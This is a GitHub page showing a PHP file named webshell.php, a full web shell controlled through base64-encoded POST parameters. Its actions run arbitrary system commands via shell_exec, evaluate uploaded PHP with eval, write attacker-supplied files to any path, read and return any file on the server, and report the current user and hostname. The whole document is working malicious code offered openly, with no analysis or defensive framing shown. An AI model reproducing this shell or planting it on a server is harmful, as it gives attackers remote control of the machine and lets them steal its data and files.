-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathwebshell.php
71 lines (56 loc) · 1.93 KB
/
webshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
function pb64($data, $sep = True) {
print(base64_encode($data));
if ($sep)
print(":");
}
print($_POST['pattern']);
if (isset($_POST['chdir']) && !chdir(base64_decode($_POST['chdir']))) {
pb64("Error: Unable to change directory to " . base64_decode($_POST['chdir']), False);
http_response_code(202);
print($_POST['pattern']);
exit();
}
if (isset($_POST['b64_env']) && !empty($_POST['b64_env'])) {
foreach(explode(':', $_POST['b64_env']) as $b64) {
putenv(base64_decode($b64));
}
}
if (isset($_POST['action']) && !empty($_POST['action'])) {
switch ($_POST['action']) {
case 'init':
pb64(DIRECTORY_SEPARATOR);
pb64('php');
pb64(rtrim(`whoami`));
pb64(gethostname());
break;
case 'cmd':
$arr = explode('<@:SEP:@>', base64_decode($_POST['b64_cmd']));
$cmd = implode(' ', array_slice($arr, 0, -1)) . ' ' . escapeshellarg(array_pop($arr));
pb64(shell_exec($cmd . ' 2>&1'));
break;
case 'eval':
$file_content = base64_decode($_POST['b64_upload']);
eval($file_content);
break;
case 'upload':
$file_content = base64_decode($_POST['b64_upload']);
$file_name = base64_decode($_POST['b64_filename']);
if (is_dir($file_name))
$file_name .= DIRECTORY_SEPARATOR . base64_decode($_POST['b64_orig']);
if (!file_put_contents($file_name, $file_content)) {
echo "Error: Unable to write data to $file_name";
http_response_code(201);
exit();
}
break;
case 'download':
$file_name = base64_decode($_POST['b64_filename']);
$file_content = file_get_contents($file_name);
pb64($file_content);
break;
}
}
pb64(getcwd(), False);
print($_POST['pattern']);
?>